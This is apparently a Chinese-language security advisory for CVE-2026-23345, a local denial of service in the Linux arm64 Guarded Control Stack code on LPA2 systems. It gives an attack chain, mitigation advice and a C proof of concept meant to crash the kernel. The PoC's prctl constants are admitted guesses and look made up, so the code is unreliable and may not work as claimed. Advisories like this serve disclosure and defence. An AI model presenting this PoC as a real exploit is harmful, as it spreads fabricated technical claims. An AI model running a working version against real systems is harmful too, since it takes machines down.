IPBUF安全漏洞报告
English
CVE-2026-23345 CVSS 5.5 中危

Linux Kernel arm64 GCS映射拒绝服务漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23345
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelARM64DoSKernel PanicLPA2GCS

漏洞概述

Linux内核在arm64架构的GCS(Guarded Control Stack)实现中存在拒绝服务漏洞。当启用FEAT_LPA2特性时,页表项的特定位用于表示输出地址,而非原有的共享性属性。由于_PAGE_GCS宏定义错误地包含了PTE_SHARED位,导致在启用LPA2的系统上操作GCS内存映射时引发内核页错误。本地低权限攻击者可利用此缺陷触发内核崩溃,导致系统完全不可用。

技术细节

该漏洞源于Linux内核arm64架构对GCS(Guarded Control Stack)映射的处理与FEAT_LPA2硬件特性之间的冲突。当FEAT_LPA2启用时,PTE(页表项)的位[8:9]不再用于表示共享性(PTE_SHARED),而是作为输出地址的位[50:51]。内核现有的_PAGE_GCS宏定义硬编码了PTE_SHARED位(0b11),这在LPA2环境下会导致页表属性错误。当进程启用GCS并尝试释放内存时,内核在`zap_huge_pmd`路径中无法正确解析虚拟地址,触发“Unable to handle kernel paging request”错误,进而导致系统崩溃(Oops)。此漏洞允许本地低权限攻击者通过简单的程序执行引发内核恐慌,造成拒绝服务。修复方案涉及在LPA2启用时动态清除PTE_SHARED位。

攻击链分析

STEP 1
步骤1: 获取本地访问权限
攻击者需要在目标Linux系统上拥有本地低权限用户访问能力。
STEP 2
步骤2: 触发漏洞条件
攻击者执行代码调用prctl系统请求启用GCS(Guarded Control Stack)功能,且目标系统必须启用了FEAT_LPA2硬件特性。
STEP 3
步骤3: 触发内存释放路径
进程结束或执行内存释放操作(如munmap),调用内核中的gcs_free函数。
STEP 4
步骤4: 内核崩溃
内核在zap_huge_pmd中处理页表时,由于PTE_SHARED位冲突导致无法解析地址,触发Translation Fault和Kernel Panic,系统崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-23345 (Linux Kernel arm64 GCS DoS) * This code attempts to enable GCS on a system with FEAT_LPA2 enabled, * triggering the kernel panic upon exit. * Compile: gcc -o poc_gcs poc_gcs.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/prctl.h> #include <sys/syscall.h> // Approximation of GCS related prctl options based on kernel feature #ifndef PR_SCHED_GCS #define PR_SCHED_GCS 63 #define PR_SCHED_GCS_ENABLE 1 #endif int main() { printf("[+] CVE-2026-23345 PoC Trigger\n"); printf("[+] Attempting to enable GCS feature...\n"); // Enable GCS for the current process // On a vulnerable kernel with LPA2, this sets up the faulty PTE bits long ret = prctl(PR_SCHED_GCS, PR_SCHED_GCS_ENABLE, 0, 0, 0); if (ret == 0) { printf("[+] GCS enabled successfully.\n"); } else { printf("[-] prctl failed (GCS might not be supported or already enabled). Error: %ld\n", ret); // Even if it fails here, running on a kernel where it is force-enabled via config could trigger it } printf("[+] Exiting process to trigger gcs_free path...\n"); // The crash occurs in gcs_free -> vm_munmap -> zap_huge_pmd return 0; }

影响范围

Linux Kernel (主分支及包含GCS支持的稳定版本,修复前的版本)

防御指南

临时缓解措施
如果无法立即升级内核,建议在内核启动参数中禁用GCS功能或避免在启用FEAT_LPA2的硬件配置上使用受影响的内核版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表